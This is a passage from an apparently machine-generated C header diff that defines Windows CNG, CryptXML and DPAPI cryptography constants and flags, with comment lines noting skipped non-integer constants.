SKIPPED const BCRYPT_RC2_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_RC4_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_AES_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_DES_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_DESX_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_3DES_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_3DES_112_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_MD2_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_MD4_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_MD5_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_SHA1_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_SHA256_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_SHA384_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_SHA512_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_AES_GMAC_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_AES_CMAC_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_ECDSA_P256_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_ECDSA_P384_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_ECDSA_P521_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_ECDH_P256_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_ECDH_P384_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_ECDH_P521_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_RNG_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_RNG_FIPS186_DSA_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_RNG_DUAL_EC_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_SP800108_CTR_HMAC_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_SP80056A_CONCAT_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_PBKDF2_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_CAPI_KDF_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_TLS1_1_KDF_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_TLS1_2_KDF_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_ECDSA_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_ECDH_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_XTS_AES_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_HKDF_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_CHACHA20_POLY1305_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_SHA3_256_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_SHA3_384_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_SHA3_512_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_CSHAKE128_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_CSHAKE256_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_KMAC128_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_KMAC256_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_SHAKE128_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_SHAKE256_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_MLDSA_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_SLHDSA_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_LMS_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_XMSS_ALGORITHM: non-integer constant +// SKIPPED const BCRYPT_MLKEM_ALGORITHM: non-integer constant +#define BCRYPT_KEY_DERIVATION_INTERFACE 0x7 +#define BCRYPT_KEY_ENCAPSULATION_INTERFACE 0x8 +#define BCRYPT_MD2_ALG_HANDLE 0x1 +#define BCRYPT_MD4_ALG_HANDLE 0x11 +#define BCRYPT_MD5_ALG_HANDLE 0x21 +#define BCRYPT_SHA1_ALG_HANDLE 0x31 +#define BCRYPT_SHA256_ALG_HANDLE 0x41 +#define BCRYPT_SHA384_ALG_HANDLE 0x51 +#define BCRYPT_SHA512_ALG_HANDLE 0x61 +#define BCRYPT_RC4_ALG_HANDLE 0x71 +#define BCRYPT_RNG_ALG_HANDLE 0x81 +#define BCRYPT_HMAC_MD5_ALG_HANDLE 0x91 +#define BCRYPT_HMAC_SHA1_ALG_HANDLE 0xa1 +#define BCRYPT_HMAC_SHA256_ALG_HANDLE 0xb1 +#define BCRYPT_HMAC_SHA384_ALG_HANDLE 0xc1 +#define BCRYPT_HMAC_SHA512_ALG_HANDLE 0xd1 +#define BCRYPT_RSA_ALG_HANDLE 0xe1 +#define BCRYPT_ECDSA_ALG_HANDLE 0xf1 +#define BCRYPT_AES_CMAC_ALG_HANDLE 0x101 +#define BCRYPT_AES_GMAC_ALG_HANDLE 0x111 +#define BCRYPT_HMAC_MD2_ALG_HANDLE 0x121 +#define BCRYPT_HMAC_MD4_ALG_HANDLE 0x131 +#define BCRYPT_3DES_CBC_ALG_HANDLE 0x141 +#define BCRYPT_3DES_ECB_ALG_HANDLE 0x151 +#define BCRYPT_3DES_CFB_ALG_HANDLE 0x161 +#define BCRYPT_3DES_112_CBC_ALG_HANDLE 0x171 +#define BCRYPT_3DES_112_ECB_ALG_HANDLE 0x181 +#define BCRYPT_3DES_112_CFB_ALG_HANDLE 0x191 +#define BCRYPT_AES_CBC_ALG_HANDLE 0x1a1 +#define BCRYPT_AES_ECB_ALG_HANDLE 0x1b1 +#define BCRYPT_AES_CFB_ALG_HANDLE 0x1c1 +#define BCRYPT_AES_CCM_ALG_HANDLE 0x1d1 +#define BCRYPT_AES_GCM_ALG_HANDLE 0x1e1 +#define BCRYPT_DES_CBC_ALG_HANDLE 0x1f1 +#define BCRYPT_DES_ECB_ALG_HANDLE 0x201 +#define BCRYPT_DES_CFB_ALG_HANDLE 0x211 +#define BCRYPT_DESX_CBC_ALG_HANDLE 0x221 +#define BCRYPT_DESX_ECB_ALG_HANDLE 0x231 +#define BCRYPT_DESX_CFB_ALG_HANDLE 0x241 +#define BCRYPT_RC2_CBC_ALG_HANDLE 0x251 +#define BCRYPT_RC2_ECB_ALG_HANDLE 0x261 +#define BCRYPT_RC2_CFB_ALG_HANDLE 0x271 +#define BCRYPT_DH_ALG_HANDLE 0x281 +#define BCRYPT_ECDH_ALG_HANDLE 0x291 +#define BCRYPT_ECDH_P256_ALG_HANDLE 0x2a1 +#define BCRYPT_ECDH_P384_ALG_HANDLE 0x2b1 +#define BCRYPT_ECDH_P521_ALG_HANDLE 0x2c1 +#define BCRYPT_DSA_ALG_HANDLE 0x2d1 +#define BCRYPT_ECDSA_P256_ALG_HANDLE 0x2e1 +#define BCRYPT_ECDSA_P384_ALG_HANDLE 0x2f1 +#define BCRYPT_ECDSA_P521_ALG_HANDLE 0x301 +#define BCRYPT_RSA_SIGN_ALG_HANDLE 0x311 +#define BCRYPT_CAPI_KDF_ALG_HANDLE 0x321 +#define BCRYPT_PBKDF2_ALG_HANDLE 0x331 +#define BCRYPT_SP800108_CTR_HMAC_ALG_HANDLE 0x341 +#define BCRYPT_SP80056A_CONCAT_ALG_HANDLE 0x351 +#define BCRYPT_TLS1_1_KDF_ALG_HANDLE 0x361 +#define BCRYPT_TLS1_2_KDF_ALG_HANDLE 0x371 +#define BCRYPT_XTS_AES_ALG_HANDLE 0x381 +#define BCRYPT_HKDF_ALG_HANDLE 0x391 +#define BCRYPT_CHACHA20_POLY1305_ALG_HANDLE 0x3a1 +#define BCRYPT_SHA3_256_ALG_HANDLE 0x3b1 +#define BCRYPT_SHA3_384_ALG_HANDLE 0x3c1 +#define BCRYPT_SHA3_512_ALG_HANDLE 0x3d1 +#define BCRYPT_HMAC_SHA3_256_ALG_HANDLE 0x3e1 +#define BCRYPT_HMAC_SHA3_384_ALG_HANDLE 0x3f1 +#define BCRYPT_HMAC_SHA3_512_ALG_HANDLE 0x401 +#define BCRYPT_CSHAKE128_ALG_HANDLE 0x411 +#define BCRYPT_CSHAKE256_ALG_HANDLE 0x421 +#define BCRYPT_KMAC128_ALG_HANDLE 0x431 +#define BCRYPT_KMAC256_ALG_HANDLE 0x441 +#define BCRYPT_SHAKE128_ALG_HANDLE 0x451 +#define BCRYPT_SHAKE256_ALG_HANDLE 0x461 +#define BCRYPT_MLDSA_ALG_HANDLE 0x471 +#define BCRYPT_MLKEM_ALG_HANDLE 0x481 +#define BCRYPT_CAPI_AES_FLAG 0x10 +#define BCRYPT_MULTI_FLAG 0x40 +#define BCRYPT_HASH_DONT_RESET_FLAG 0x1 +#define BCRYPT_TLS_CBC_HMAC_VERIFY_FLAG 0x4 +#define BCRYPT_BUFFERS_LOCKED_FLAG 0x40 +#define BCRYPT_EXTENDED_KEYSIZE 0x80 +#define BCRYPT_ENABLE_INCOMPATIBLE_FIPS_CHECKS 0x100 +#define BCRYPT_KEY_DERIVATION_OPERATION 0x40 +#define BCRYPT_KEY_ENCAPSULATION_OPERATION 0x80 +#define BCRYPT_PUBLIC_KEY_FLAG 0x1 +#define BCRYPT_PRIVATE_KEY_FLAG 0x2 +#define BCRYPT_NO_KEY_VALIDATION 0x8 +#define BCRYPT_KEY_VALIDATION_RANGE 0x10 +#define BCRYPT_KEY_VALIDATION_RANGE_AND_ORDER 0x18 +#define BCRYPT_KEY_VALIDATION_REGENERATE 0x20 +#define BCRYPT_HASH_INTERFACE_MAJORVERSION_2 0x2 +#define CRYPT_OVERWRITE 0x1 +#define CRYPT_PRIORITY_TOP 0x0 +#define CRYPT_PRIORITY_BOTTOM 0xffffffff +// SKIPPED const CRYPT_DEFAULT_CONTEXT: non-integer constant +// SKIPPED const wszXMLNS_DIGSIG: non-integer constant +// SKIPPED const wszXMLNS_DIGSIG_SignatureProperties: non-integer constant +// SKIPPED const wszXMLNS_DIGSIG_Id: non-integer constant +// SKIPPED const wszURI_XMLNS_DIGSIG_BASE64: non-integer constant +// SKIPPED const wszURI_XMLNS_DIGSIG_SHA1: non-integer constant +// SKIPPED const wszURI_XMLNS_DIGSIG_SHA256: non-integer constant +// SKIPPED const wszURI_XMLNS_DIGSIG_SHA384: non-integer constant +// SKIPPED const wszURI_XMLNS_DIGSIG_SHA512: non-integer constant +// SKIPPED const wszURI_XMLNS_DIGSIG_RSA_SHA1: non-integer constant +// SKIPPED const wszURI_XMLNS_DIGSIG_DSA_SHA1: non-integer constant +// SKIPPED const wszURI_XMLNS_DIGSIG_RSA_SHA256: non-integer constant +// SKIPPED const wszURI_XMLNS_DIGSIG_RSA_SHA384: non-integer constant +// SKIPPED const wszURI_XMLNS_DIGSIG_RSA_SHA512: non-integer constant +// SKIPPED const wszURI_XMLNS_DIGSIG_ECDSA_SHA1: non-integer constant +// SKIPPED const wszURI_XMLNS_DIGSIG_ECDSA_SHA256: non-integer constant +// SKIPPED const wszURI_XMLNS_DIGSIG_ECDSA_SHA384: non-integer constant +// SKIPPED const wszURI_XMLNS_DIGSIG_ECDSA_SHA512: non-integer constant +// SKIPPED const wszURI_XMLNS_DIGSIG_HMAC_SHA1: non-integer constant +// SKIPPED const wszURI_XMLNS_DIGSIG_HMAC_SHA256: non-integer constant +// SKIPPED const wszURI_XMLNS_DIGSIG_HMAC_SHA384: non-integer constant +// SKIPPED const wszURI_XMLNS_DIGSIG_HMAC_SHA512: non-integer constant +// SKIPPED const wszURI_CANONICALIZATION_C14N: non-integer constant +// SKIPPED const wszURI_CANONICALIZATION_C14NC: non-integer constant +// SKIPPED const wszURI_CANONICALIZATION_EXSLUSIVE_C14N: non-integer constant +// SKIPPED const wszURI_CANONICALIZATION_EXSLUSIVE_C14NC: non-integer constant +// SKIPPED const wszURI_TRANSFORM_XPATH: non-integer constant +// SKIPPED const wszURI_XMLNS_TRANSFORM_BASE64: non-integer constant +// SKIPPED const wszURI_XMLNS_TRANSFORM_ENVELOPED: non-integer constant +#define CRYPT_XML_BLOB_MAX 0x7ffffff8 +#define CRYPT_XML_ID_MAX 0x100 +#define CRYPT_XML_SIGNATURES_MAX 0x10 +#define CRYPT_XML_TRANSFORM_MAX 0x10 +#define CRYPT_XML_SIGNATURE_VALUE_MAX 0x800 +#define CRYPT_XML_DIGEST_VALUE_MAX 0x80 +#define CRYPT_XML_OBJECTS_MAX 0x100 +#define CRYPT_XML_REFERENCES_MAX 0x7ff8 +#define CRYPT_XML_E_BASE -2146885376 +#define CRYPT_XML_E_LARGE -2146885375 +#define CRYPT_XML_E_TOO_MANY_TRANSFORMS -2146885374 +#define CRYPT_XML_E_ENCODING -2146885373 +#define CRYPT_XML_E_ALGORITHM -2146885372 +#define CRYPT_XML_E_TRANSFORM -2146885371 +#define CRYPT_XML_E_HANDLE -2146885370 +#define CRYPT_XML_E_OPERATION -2146885369 +#define CRYPT_XML_E_UNRESOLVED_REFERENCE -2146885368 +#define CRYPT_XML_E_INVALID_DIGEST -2146885367 +#define CRYPT_XML_E_INVALID_SIGNATURE -2146885366 +#define CRYPT_XML_E_HASH_FAILED -2146885365 +#define CRYPT_XML_E_SIGN_FAILED -2146885364 +#define CRYPT_XML_E_VERIFY_FAILED -2146885363 +#define CRYPT_XML_E_TOO_MANY_SIGNATURES -2146885362 +#define CRYPT_XML_E_INVALID_KEYVALUE -2146885361 +#define CRYPT_XML_E_UNEXPECTED_XML -2146885360 +#define CRYPT_XML_E_SIGNER -2146885359 +#define CRYPT_XML_E_NON_UNIQUE_ID -2146885358 +#define CRYPT_XML_E_LAST -2146885358 +#define CRYPT_XML_FLAG_ALWAYS_RETURN_ENCODED_OBJECT 0x40000000 +#define CRYPT_XML_FLAG_ENFORCE_ID_NCNAME_FORMAT 0x20000000 +#define CRYPT_XML_FLAG_ENFORCE_ID_NAME_FORMAT 0x8000000 +#define CRYPT_XML_FLAG_ECDSA_DSIG11 0x4000000 +#define CRYPT_XML_STATUS_NO_ERROR 0x0 +#define CRYPT_XML_FLAG_ADD_OBJECT_CREATE_COPY 0x1 +#define CRYPT_XML_FLAG_CREATE_REFERENCE_AS_OBJECT 0x1 +#define CRYPT_XML_DIGEST_REFERENCE_DATA_TRANSFORMED 0x1 +#define CRYPT_XML_ALGORITHM_INFO_FIND_BY_URI 0x1 +#define CRYPT_XML_ALGORITHM_INFO_FIND_BY_NAME 0x2 +#define CRYPT_XML_ALGORITHM_INFO_FIND_BY_CNG_ALGID 0x3 +#define CRYPT_XML_ALGORITHM_INFO_FIND_BY_CNG_SIGN_ALGID 0x4 +// SKIPPED const szFORCE_KEY_PROTECTION: non-integer constant +#define dwFORCE_KEY_PROTECTION_DISABLED 0x0 +#define dwFORCE_KEY_PROTECTION_USER_SELECT 0x1 +#define dwFORCE_KEY_PROTECTION_HIGH 0x2 +#define CRYPTPROTECT_PROMPT_ON_UNPROTECT 0x1 +#define CRYPTPROTECT_PROMPT_ON_PROTECT 0x2 +#define CRYPTPROTECT_PROMPT_RESERVED 0x4 +#define CRYPTPROTECT_PROMPT_STRONG 0x8 +#define CRYPTPROTECT_PROMPT_REQUIRE_STRONG 0x10 +#define CRYPTPROTECT_UI_FORBIDDEN 0x1 +#define CRYPTPROTECT_LOCAL_MACHINE 0x4 +#define CRYPTPROTECT_CRED_SYNC 0x8 +#define CRYPTPROTECT_AUDIT 0x10 +#define CRYPTPROTECT_NO_RECOVERY 0x20 +#define CRYPTPROTECT_VERIFY_PROTECTION 0x40 +#define CRYPTPROTECT_CRED_REGENERATE 0x80 +#define CRYPTPROTECT_FIRST_RESERVED_FLAGVAL 0xfffffff +#define CRYPTPROTECT_LAST_RESERVED_FLAGVAL 0xffffffff +#define CRYPTPROTECTMEMORY_BLOCK_SIZE 0x10 +#define CRYPTPROTECTMEMORY_SAME_PROCESS 0x0 +#define CRYPTPROTECTMEMORY_CROSS_PROCESS 0x1 +#define CRYPTPROTECTMEMORY_SAME_LOGON 0x2 +#define NCRYPT_MAX_KEY_NAME_LENGTH 0x200 +#define NCRYPT_MAX_ALG_ID_LENGTH 0x200 +// SKIPPED const MS_KEY_STORAGE_PROVIDER: non-integer constant +// SKIPPED const MS_SMART_CARD_KEY_STORAGE_PROVIDER: non-integer constant +// SKIPPED const MS_PLATFORM_KEY_STORAGE_PROVIDER: non-integer constant +// SKIPPED const MS_NGC_KEY_STORAGE_PROVIDER: non-integer constant +// SKIPPED const MS_PLUTON_CRYPTO_PROVIDER: non-integer constant +// SKIPPED const TPM_RSA_SRK_SEAL_KEY: non-integer constant +// SKIPPED const NCRYPT_RSA_ALGORITHM: non-integer constant +// SKIPPED const NCRYPT_RSA_SIGN_ALGORITHM: non-integer constant +// SKIPPED const NCRYPT_DH_ALGORITHM: non-integer constant +// SKIPPED const NCRYPT_DSA_ALGORITHM: non-integer constant +// SKIPPED const NCRYPT_MD2_ALGORITHM: non-integer constant +// SKIPPED const NCRYPT_MD4_ALGORITHM: non-integer constant +// SKIPPED const NCRYPT_MD5_ALGORITHM: non-integer constant +// SKIPPED const NCRYPT_SHA1_ALGORITHM: non-integer constant +// SKIPPED const NCRYPT_SHA256_ALGORITHM: non-integer constant +// SKIPPED const NCRYPT_SHA384_ALGORITHM: non-integer constant +// SKIPPED const NCRYPT_SHA512_ALGORITHM: non-integer constant +// SKIPPED const NCRYPT_ECDSA_P256_ALGORITHM: non-integer constant +// SKIPPED const NCRYPT_ECDSA_P384_ALGORITHM: non-integer constant +// SKIPPED const NCRYPT_ECDSA_P521_ALGORITHM: non-integer constant +// SKIPPED const NCRYPT_ECDH_P256_ALGORITHM: non-integer constant +// SKIPPED const NCRYPT_ECDH_P384_ALGORITHM: non-integer constant +// SKIPPED const NCRYPT_ECDH_P521_ALGORITHM: non-integer constant +// SKIPPED const NCRYPT_AES_ALGORITHM: non-integer constant +// SKIPPED const NCRYPT_RC2_ALGORITHM: non-integer constant +// SKIPPED const NCRYPT_3DES_ALGORITHM: non-integer constant +// SKIPPED const NCRYPT_DES_ALGORITHM: non-integer constant +// SKIPPED const NCRYPT_DESX_ALGORITHM: non-integer constant +// SKIPPED const NCRYPT_3DES_112_ALGORITHM: non-integer constant +// SKIPPED const NCRYPT_SP800108_CTR_HMAC_ALGORITHM: non-integer constant +// SKIPPED const NCRYPT_SP80056A_CONCAT_ALGORITHM: non-integer constant +// SKIPPED const NCRYPT_PBKDF2_ALGORITHM: non-integer constant +// SKIPPED const NCRYPT_CAPI_KDF_ALGORITHM: non-integer constant +// SKIPPED const NCRYPT_ECDSA_ALGORITHM: non-integer constant +// SKIPPED const NCRYPT_ECDH_ALGORITHM: non-integer constant +// SKIPPED const NCRYPT_KEY_STORAGE_ALGORITHM: non-integer constant +// SKIPPED const NCRYPT_HMAC_SHA256_ALGORITHM: non-integer constant +// SKIPPED const NCRYPT_MLKEM_ALGORITHM: non-integer constant +// SKIPPED const NCRYPT_MLDSA_ALGORITHM: non-integer constant +// SKIPPED const NCRYPT_SLHDSA_ALGORITHM: non-integer constant +// SKIPPED const NCRYPT_LMS_ALGORITHM: non-integer constant +// SKIPPED const NCRYPT_XMSS_ALGORITHM: non-integer constant +#define NCRYPT_KEY_DERIVATION_INTERFACE 0x7 +#define NCRYPT_KEY_ENCAPSULATION_INTERFACE 0x8 +#define NCRYPT_KEY_PROTECTION_INTERFACE 0x10004 +// SKIPPED const NCRYPT_RSA_ALGORITHM_GROUP: non-integer constant +// SKIPPED const NCRYPT_DH_ALGORITHM_GROUP: non-integer constant +// SKIPPED const NCRYPT_DSA_ALGORITHM_GROUP: non-integer constant +// SKIPPED const NCRYPT_ECDSA_ALGORITHM_GROUP: non-integer constant +// SKIPPED const NCRYPT_ECDH_ALGORITHM_GROUP: non-integer constant +// SKIPPED const NCRYPT_AES_ALGORITHM_GROUP: non-integer constant +// SKIPPED const NCRYPT_RC2_ALGORITHM_GROUP: non-integer constant +// SKIPPED const NCRYPT_DES_ALGORITHM_GROUP: non-integer constant +// SKIPPED const NCRYPT_KEY_DERIVATION_GROUP: non-integer constant +// SKIPPED const NCRYPT_MLKEM_ALGORITHM_GROUP: non-integer constant +// SKIPPED const NCRYPT_MLDSA_ALGORITHM_GROUP: non-integer constant +// SKIPPED const NCRYPT_SLHDSA_ALGORITHM_GROUP: non-integer constant +// SKIPPED const NCRYPT_LMS_ALGORITHM_GROUP: non-integer constant +// SKIPPED const NCRYPT_XMSS_ALGORITHM_GROUP: non-integer constant +#define NCRYPTBUFFER_VERSION 0x0 +#define NCRYPTBUFFER_EMPTY 0x0 +#define NCRYPTBUFFER_DATA 0x1 +#define NCRYPTBUFFER_PROTECTION_DESCRIPTOR_STRING 0x3 +#define NCRYPTBUFFER_PROTECTION_FLAGS 0x4 +#define NCRYPTBUFFER_SSL_CLIENT_RANDOM 0x14 +#define NCRYPTBUFFER_SSL_SERVER_RANDOM 0x15 +#define NCRYPTBUFFER_SSL_HIGHEST_VERSION 0x16 +#define NCRYPTBUFFER_SSL_CLEAR_KEY 0x17 +#define NCRYPTBUFFER_SSL_KEY_ARG_DATA 0x18 +#define NCRYPTBUFFER_SSL_SESSION_HASH 0x19 +#define NCRYPTBUFFER_PKCS_OID 0x28 +#define NCRYPTBUFFER_PKCS_ALG_OID 0x29 +#define NCRYPTBUFFER_PKCS_ALG_PARAM 0x2a +#define NCRYPTBUFFER_PKCS_ALG_ID 0x2b +#define NCRYPTBUFFER_PKCS_ATTRS 0x2c +#define NCRYPTBUFFER_PKCS_KEY_NAME 0x2d +#define NCRYPTBUFFER_PKCS_SECRET 0x2e +#define NCRYPTBUFFER_CERT_BLOB 0x2f +#define NCRYPTBUFFER_CLAIM_IDBINDING_NONCE 0x30 +#define NCRYPTBUFFER_CLAIM_KEYATTESTATION_NONCE 0x31 +#define NCRYPTBUFFER_KEY_PROPERTY_FLAGS 0x32 +#define NCRYPTBUFFER_ATTESTATIONSTATEMENT_BLOB 0x33 +#define NCRYPTBUFFER_ATTESTATION_CLAIM_TYPE 0x34 +#define NCRYPTBUFFER_ATTESTATION_CLAIM_CHALLENGE_REQUIRED 0x35 +#define NCRYPTBUFFER_ECC_CURVE_NAME 0x3c +#define NCRYPTBUFFER_ECC_PARAMETERS 0x3d +#define NCRYPTBUFFER_TPM_SEAL_PASSWORD 0x46 +#define NCRYPTBUFFER_TPM_SEAL_POLICYINFO 0x47 +#define NCRYPTBUFFER_TPM_SEAL_TICKET 0x48 +#define NCRYPTBUFFER_TPM_SEAL_NO_DA_PROTECTION 0x49 +#define NCRYPTBUFFER_TPM_PLATFORM_CLAIM_PCR_MASK 0x50 +#define NCRYPTBUFFER_TPM_PLATFORM_CLAIM_NONCE 0x51 +#define NCRYPTBUFFER_TPM_PLATFORM_CLAIM_STATIC_CREATE 0x52 +#define NCRYPTBUFFER_ATTESTATION_STATEMENT_SIGNATURE_HASH 0x5a +#define NCRYPTBUFFER_ATTESTATION_STATEMENT_SIGNATURE_PADDING_SCHEME 0x5b +#define NCRYPTBUFFER_ATTESTATION_STATEMENT_SIGNATURE_PADDING_ALGO 0x5c +#define NCRYPTBUFFER_ATTESTATION_STATEMENT_SIGNATURE_PADDING_SALT_SIZE 0x5d +#define NCRYPTBUFFER_ATTESTATION_STATEMENT_SIGNATURE_PADDING_SALT 0x5d +#define NCRYPTBUFFER_ATTESTATION_STATEMENT_NONCE 0x31 +#define NCRYPTBUFFER_VBS_ATTESTATION_STATEMENT_ROOT_DETAILS 0x5e +#define NCRYPTBUFFER_VBS_ATTESTATION_STATEMENT_IDENTITY_DETAILS 0x5f +#define NCRYPTBUFFER_PKCS_AES_KEY_BITS 0x60 +#define NCRYPTBUFFER_PKCS_PADDING_ALGO 0x61 +#define NCRYPTBUFFER_PKCS_PADDING_LABEL 0x62 +#define NCRYPT_CIPHER_NO_PADDING_FLAG 0x0 +#define NCRYPT_CIPHER_BLOCK_PADDING_FLAG 0x1 +#define NCRYPT_CIPHER_OTHER_PADDING_FLAG 0x2 +#define NCRYPT_PLATFORM_ATTEST_MAGIC 0x44504150 +#define NCRYPT_KEY_ATTEST_MAGIC 0x4450414b +#define NCRYPT_CLAIM_AUTHORITY_ONLY 0x1 +#define NCRYPT_CLAIM_SUBJECT_ONLY 0x2 +#define NCRYPT_CLAIM_AUTHORITY_AND_SUBJECT 0x3 +#define NCRYPT_CLAIM_VBS_KEY_ATTESTATION_STATEMENT 0x4 +#define NCRYPT_CLAIM_VBS_ROOT 0x5 +#define NCRYPT_CLAIM_VBS_IDENTITY 0x6 +#define NCRYPT_CLAIM_WEB_AUTH_SUBJECT_ONLY 0x102 +#define NCRYPT_CLAIM_UNKNOWN 0x1000 +#define NCRYPT_CLAIM_PLATFORM 0x10000 +#define NCRYPT_CLAIM_WEB_AUTH_SUBJECT_ONLY_V2 0x103 +#define NCRYPT_ISOLATED_KEY_FLAG_CREATED_IN_ISOLATION 0x1 +#define NCRYPT_ISOLATED_KEY_FLAG_IMPORT_ONLY 0x2 +#define NCRYPT_ISOLATED_KEY_FLAG_PER_BOOT_KEY 0x4 +#define NCRYPT_VBS_KEY_FLAG_CREATED_IN_ISOLATION 0x1 +#define NCRYPT_VBS_KEY_FLAG_IMPORT_ONLY 0x2 +#define NCRYPT_VBS_KEY_FLAG_PER_BOOT_KEY 0x4 +#define NCRYPT_VBS_KEY_FLAG_IMPORT_EPHEMERAL_ONLY 0x8 +#define NCRYPT_ISOLATED_KEY_ATTESTED_ATTRIBUTES_V0 0x0 +#define NCRYPT_ISOLATED_KEY_ATTESTED_ATTRIBUTES_CURRENT_VERSION 0x0 +#define NCRYPT_VBS_KEY_ATTESTED_ATTRIBUTES_CURRENT_VERSION 0x0 +#define NCRYPT_EXPORTED_ISOLATED_KEY_HEADER_V0 0x0 +#define NCRYPT_EXPORTED_ISOLATED_KEY_HEADER_CURRENT_VERSION 0x0 +#define NCRYPT_VBS_ROOT_ATTESTATION_HEADER_V0 0x0 +#define NCRYPT_VBS_ROOT_ATTESTATION_HEADER_CURRENT_VERSION 0x0 +#define VBS_ROOT_ATTESTATION_HEADER_MAGIC 0x48435256 +#define NCRYPT_VBS_IDENTITY_ATTESTATION_PADDING_V0 0x0 +#define NCRYPT_VBS_IDENTITY_ATTESTATION_PADDING_CURRENT_VERSION 0x0 +#define NCRYPT_VBS_IDENTITY_ATTESTATION_HEADER_V0 0x0 +#define NCRYPT_VBS_IDENTITY_ATTESTATION_HEADER_CURRENT_VERSION 0x0 +#define VBS_IDENTITY_ATTESTATION_HEADER_MAGIC 0x48434956 +#define NCRYPT_VBS_KEY_ATTESTATION_STATEMENT_V1 0x1 +#define NCRYPT_VBS_KEY_ATTESTATION_STATEMENT_V2 0x2 +#define NCRYPT_VBS_KEY_ATTESTATION_STATEMENT_CURRENT_VERSION 0x2 +#define VBS_KEY_ATTESTATION_STATEMENT_MAGIC 0x53414b56 +#define NCRYPT_TPM_PLATFORM_ATTESTATION_STATEMENT_V0 0x0 +#define NCRYPT_TPM_PLATFORM_ATTESTATION_STATEMENT_CURRENT_VERSION 0x0 +#define NCRYPT_PAD_CIPHER_FLAG 0x10 +#define NCRYPT_PAD_PQDSA_FLAG 0x20 +#define NCRYPT_ATTESTATION_FLAG 0x20 +#define NCRYPT_SEALING_FLAG 0x100 +#define NCRYPT_DO_NOT_FINALIZE_FLAG 0x400 +#define NCRYPT_EXPORT_LEGACY_FLAG 0x800 +#define NCRYPT_IGNORE_DEVICE_STATE_FLAG 0x1000 +#define NCRYPT_TREAT_NIST_AS_GENERIC_ECC_FLAG 0x2000 +#define NCRYPT_NO_CACHED_PASSWORD 0x4000 +#define NCRYPT_PROTECT_TO_LOCAL_SYSTEM 0x8000 +#define NCRYPT_REQUIRE_KDS_LRPC_BIND_FLAG 0x20000000 +#define NCRYPT_PREFER_VIRTUAL_ISOLATION_FLAG 0x10000 +#define NCRYPT_USE_VIRTUAL_ISOLATION_FLAG 0x20000 +#define NCRYPT_USE_PER_BOOT_KEY_FLAG 0x40000 +#define NCRYPT_PREFER_VBS_FLAG 0x10000 +#define NCRYPT_REQUIRE_VBS_FLAG 0x20000 +#define NCRYPT_USE_VBS_PER_BOOT_KEY_FLAG 0x40000 +#define NCRYPT_VBS_RETURN_CLAIM_DETAILS_FLAG 0x100000 +#define NCRYPT_KEY_DERIVATION_OPERATION 0x40 +#define NCRYPT_KEY_ENCAPSULATION_OPERATION 0x80 +#define NCRYPT_AUTHORITY_KEY_FLAG 0x100 +#define NCRYPT_EXTENDED_ERRORS_FLAG 0x10000000 +// SKIPPED const NCRYPT_NAME_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_EPHEMERAL_NAME_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_UNIQUE_NAME_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_ALGORITHM_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_LENGTH_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_LENGTHS_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_BLOCK_LENGTH_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PUBLIC_LENGTH_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_SIGNATURE_LENGTH_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_CHAINING_MODE_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_AUTH_TAG_LENGTH: non-integer constant +// SKIPPED const NCRYPT_UI_POLICY_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_EXPORT_POLICY_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_WINDOW_HANDLE_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_USE_CONTEXT_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_IMPL_TYPE_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_KEY_USAGE_PROPERTY: non-integer constant +// SKIPPED const 